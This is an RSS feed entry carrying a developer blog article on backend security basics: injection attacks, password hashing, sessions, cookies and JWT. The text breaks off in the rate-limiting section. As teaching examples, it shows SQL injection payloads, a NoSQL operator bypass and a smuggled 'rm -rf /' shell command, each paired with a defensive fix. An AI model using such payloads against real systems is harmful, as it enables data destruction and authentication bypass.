<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: MAINAK MUKHRJEE</title>
    <description>The latest articles on DEV Community by MAINAK MUKHRJEE (@mainak_mukhrjee_24f83e347).</description>
    <link>https://dev.to/mainak_mukhrjee_24f83e347</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2473134%2F916a738b-4465-4b52-a551-39b0204dc251.png</url>
      <title>DEV Community: MAINAK MUKHRJEE</title>
      <link>https://dev.to/mainak_mukhrjee_24f83e347</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mainak_mukhrjee_24f83e347"/>
    <language>en</language>
    <item>
      <title>Backend Security Fundamentals (Modern Guide for Engineers)</title>
      <dc:creator>MAINAK MUKHRJEE</dc:creator>
      <pubDate>Sat, 14 Mar 2026 07:44:55 +0000</pubDate>
      <link>https://dev.to/mainak_mukhrjee_24f83e347/backend-security-fundamentals-modern-guide-for-engineers-b47</link>
      <guid>https://dev.to/mainak_mukhrjee_24f83e347/backend-security-fundamentals-modern-guide-for-engineers-b47</guid>
      <description>&lt;p&gt;Security is not a feature added after development. It is a design principle applied throughout system architecture, coding, and deployment.&lt;/p&gt;

&lt;p&gt;Modern backend systems interact with browsers, databases, operating systems, APIs, and third-party services. Each interaction creates a &lt;strong&gt;trust boundary&lt;/strong&gt;, and vulnerabilities appear when &lt;strong&gt;untrusted data crosses these boundaries without validation or control&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This guide explains the most important backend security concepts, how they are exploited, and how to prevent them using modern practices used in production systems.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security Mindset: Think Like an Attacker
&lt;/h2&gt;

&lt;p&gt;Attackers do not care about your framework or programming language. Their main question is:&lt;/p&gt;

&lt;p&gt;What assumption did the developer make that I can break?&lt;/p&gt;

&lt;p&gt;Common developer assumptions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Users send valid input&lt;/li&gt;
&lt;li&gt;Requests only come from the frontend&lt;/li&gt;
&lt;li&gt;API parameters will not be modified&lt;/li&gt;
&lt;li&gt;IDs cannot be guessed&lt;/li&gt;
&lt;li&gt;Cookies cannot be stolen&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Attackers systematically break these assumptions.&lt;/p&gt;

&lt;p&gt;When writing backend code, ask:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Where does user input enter the system?&lt;/li&gt;
&lt;li&gt;Which system will interpret this input?&lt;/li&gt;
&lt;li&gt;Can the input change the meaning of code or commands?&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Injection Attacks
&lt;/h2&gt;

&lt;p&gt;Injection vulnerabilities occur when &lt;strong&gt;user input is interpreted as executable code instead of plain data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Backend systems interact with multiple languages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQL for database queries&lt;/li&gt;
&lt;li&gt;Shell commands for OS operations&lt;/li&gt;
&lt;li&gt;HTML and JavaScript for browser rendering&lt;/li&gt;
&lt;li&gt;JSON APIs&lt;/li&gt;
&lt;li&gt;XML or LDAP queries&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If user input crosses these contexts improperly, injection attacks occur.&lt;/p&gt;




&lt;h2&gt;
  
  
  SQL Injection
&lt;/h2&gt;

&lt;p&gt;SQL Injection occurs when user input is directly concatenated into SQL queries.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerable Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/login&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`SELECT * FROM users WHERE email='&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;'`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' OR '&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This condition is always true, returning all users.&lt;/p&gt;

&lt;h3&gt;
  
  
  Destructive Injection
&lt;/h3&gt;

&lt;p&gt;Attackers can also execute multiple SQL commands.&lt;/p&gt;

&lt;p&gt;Input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;'; DROP TABLE users; --
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Resulting query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;DROP&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This deletes the entire table.&lt;/p&gt;




&lt;h2&gt;
  
  
  SQL Injection Prevention
&lt;/h2&gt;

&lt;p&gt;Always use parameterized queries.&lt;/p&gt;

&lt;h3&gt;
  
  
  Secure Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;SELECT * FROM users WHERE email = $1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Query structure is separated from data&lt;/li&gt;
&lt;li&gt;User input cannot change SQL logic&lt;/li&gt;
&lt;li&gt;Prevents execution of injected SQL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additional practices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use ORM frameworks (Prisma, Sequelize, TypeORM)&lt;/li&gt;
&lt;li&gt;Apply strict input validation&lt;/li&gt;
&lt;li&gt;Restrict database permissions&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  NoSQL Injection
&lt;/h2&gt;

&lt;p&gt;NoSQL databases are also vulnerable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerable Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"$ne"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"$ne"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authentication may succeed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prevention
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Validate request schemas&lt;/li&gt;
&lt;li&gt;Reject operators from user input&lt;/li&gt;
&lt;li&gt;Use schema validation libraries like Zod or Joi&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Command Injection
&lt;/h2&gt;

&lt;p&gt;Command injection occurs when user input is passed into shell commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerable Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`ffmpeg -i input.mp4 &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;output.mp4&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Command becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffmpeg &lt;span class="nt"&gt;-i&lt;/span&gt; input.mp4 output.mp4&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This can delete server files.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prevention
&lt;/h3&gt;

&lt;p&gt;Use argument arrays instead of shell execution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;spawn&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ffmpeg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;-i&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;input.mp4&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;User input is passed as data, not interpreted as shell commands.&lt;/p&gt;




&lt;h2&gt;
  
  
  Authentication Security
&lt;/h2&gt;

&lt;p&gt;Authentication verifies who the user is.&lt;/p&gt;

&lt;p&gt;Weak authentication enables account takeover, data theft, and financial fraud.&lt;/p&gt;




&lt;h2&gt;
  
  
  Password Storage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Incorrect Approach
&lt;/h3&gt;

&lt;p&gt;Storing plaintext passwords.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;123456"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the database leaks, all accounts are compromised.&lt;/p&gt;




&lt;h2&gt;
  
  
  Password Hashing
&lt;/h2&gt;

&lt;p&gt;Passwords must be hashed.&lt;/p&gt;

&lt;p&gt;Example using bcrypt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;bcrypt&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bcrypt&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hashedPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verification:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;storedHash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Salting
&lt;/h2&gt;

&lt;p&gt;Hashing alone is vulnerable to rainbow table attacks.&lt;/p&gt;

&lt;p&gt;Salting adds randomness before hashing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;password + randomSalt → hashedPassword
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Modern libraries like bcrypt and Argon2 automatically handle salts.&lt;/p&gt;

&lt;p&gt;Recommended algorithms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Argon2id&lt;/li&gt;
&lt;li&gt;bcrypt&lt;/li&gt;
&lt;li&gt;scrypt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Avoid:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MD5&lt;/li&gt;
&lt;li&gt;SHA256&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are too fast for password protection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Slow Hashing
&lt;/h2&gt;

&lt;p&gt;Password hashing should be intentionally slow.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typical hashing delay:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;100–500 milliseconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is acceptable for users but extremely expensive for brute-force attackers.&lt;/p&gt;




&lt;h2&gt;
  
  
  Session Management
&lt;/h2&gt;

&lt;p&gt;After authentication, users should not re-enter passwords on every request.&lt;/p&gt;

&lt;p&gt;Sessions solve this.&lt;/p&gt;

&lt;h3&gt;
  
  
  Session Workflow
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;User logs in&lt;/li&gt;
&lt;li&gt;Server generates session ID&lt;/li&gt;
&lt;li&gt;Session stored in database or Redis&lt;/li&gt;
&lt;li&gt;Session ID stored in cookie&lt;/li&gt;
&lt;li&gt;Each request verifies the session&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example cookie:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;session_id&lt;/span&gt;=&lt;span class="n"&gt;abc123xyz&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Secure Cookie Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  HttpOnly
&lt;/h3&gt;

&lt;p&gt;Prevents JavaScript access.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HttpOnly
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Protects against XSS token theft.&lt;/p&gt;

&lt;h3&gt;
  
  
  Secure
&lt;/h3&gt;

&lt;p&gt;Ensures cookies are sent only via HTTPS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Secure
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prevents network interception.&lt;/p&gt;

&lt;h3&gt;
  
  
  SameSite
&lt;/h3&gt;

&lt;p&gt;Controls cross-site cookie usage.&lt;/p&gt;

&lt;p&gt;Options:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Strict&lt;/li&gt;
&lt;li&gt;Lax&lt;/li&gt;
&lt;li&gt;None&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Recommended:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;SameSite&lt;/span&gt;=&lt;span class="n"&gt;Lax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  JWT Authentication
&lt;/h2&gt;

&lt;p&gt;JWT enables stateless authentication.&lt;/p&gt;

&lt;p&gt;Example payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;171234567&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The token is signed with a secret key.&lt;/p&gt;

&lt;h3&gt;
  
  
  JWT Security Concerns
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Revocation is difficult&lt;/li&gt;
&lt;li&gt;Payload is readable (Base64 encoded)&lt;/li&gt;
&lt;li&gt;Token theft allows impersonation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Secure JWT Practices
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;short token expiration (5–15 minutes)&lt;/li&gt;
&lt;li&gt;refresh tokens&lt;/li&gt;
&lt;li&gt;store tokens in HttpOnly cookies&lt;/li&gt;
&lt;li&gt;rotate refresh tokens&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Rate Limiting
&lt;/h2&gt;

&lt;p&gt;Without rate limiting attackers can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;brute force passwords&lt;/li&gt;
&lt;li&gt;overload servers&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Rate Limiting Layers
&lt;/h3&gt;

&lt;p&gt;Per IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10 login attempts / minute
&lt;/code&gt;&lt;/pre&gt;

